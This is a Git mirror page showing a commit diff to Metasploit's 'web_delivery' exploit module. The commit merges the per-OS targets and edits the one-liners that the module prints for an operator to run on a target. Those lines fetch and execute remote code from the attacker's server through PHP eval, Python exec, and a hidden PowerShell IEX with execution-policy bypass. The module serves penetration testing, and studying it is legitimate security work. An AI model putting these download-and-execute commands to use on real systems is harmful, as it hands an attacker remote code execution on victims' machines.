infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Updates 

Updated spacing, ranking, php command, platform, and merged *nix and
windows cmds
bug/bundler_fix
jakxx 2014-06-25 16:34:51 -04:00
parent 3abfa3e12e
commit 54ccc261d1
1 changed files with 18 additions and 31 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

31
modules/exploits/multi/script/web_delivery.rb
View File

@ -6,7 +6,7 @@
require 'msf/core' require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking Rank = ManualRanking
include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HttpServer
@ -40,22 +40,14 @@ class Metasploit3 < Msf::Exploit::Remote
[ 'URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'], [ 'URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],
[ 'URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html'] [ 'URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html']
], ],
'Platform' => %w{ py php win}, 'Platform' => %w{ python php win},
'Targets' => 'Targets' =>
[ [
['Python_win', { ['Python', {
'Platform' => 'py', 'Platform' => 'py',
'Arch' => ARCH_PYTHON 'Arch' => ARCH_PYTHON
}], }],
['Python_linux', { ['PHP', {
'Platform' => 'py',
'Arch' => ARCH_PYTHON
}],
['PHP_win', {
'Platform' => 'php',
'Arch' => ARCH_PHP
}],
['PHP_linux', {
'Platform' => 'php', 'Platform' => 'php',
'Arch' => ARCH_PHP 'Arch' => ARCH_PHP
}], }],
@ -69,7 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote
}], }],
], ],
'DefaultTarget' => 0, 'DefaultTarget' => 0,
'DisclosureDate' => 'N/A' 'DisclosureDate' => 'Jul 19 2013'
)) ))
end end
@ -87,18 +79,13 @@ class Metasploit3 < Msf::Exploit::Remote
url = get_uri() url = get_uri()
print_status("Run the following command on the target machine:") print_status("Run the following command on the target machine:")
case target.name case target.name
when "PHP_linux" when "PHP"
print_line("php -r \"eval(file_get_contents('#{url}'));\"") print_line("php -d allow_url_fopen=true -r \"eval(file_get_contents('#{url}'));\"")
when "PHP_win" when "Python"
print_line("php.exe -r \"eval(file_get_contents('#{url}'));\"")
when "Python_linux"
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"") print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
when "Python_win" when "PSH_x86", "PSH_x64"
print_line("python.exe -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
when "PSH"
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))" download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
print_line("powershell.exe -w hidden -nop -ep bypass -c \"#{download_and_run}\"") print_line("powershell.exe -w hidden -nop -ep bypass -c \"#{download_and_run}\"")
end end
end end
end end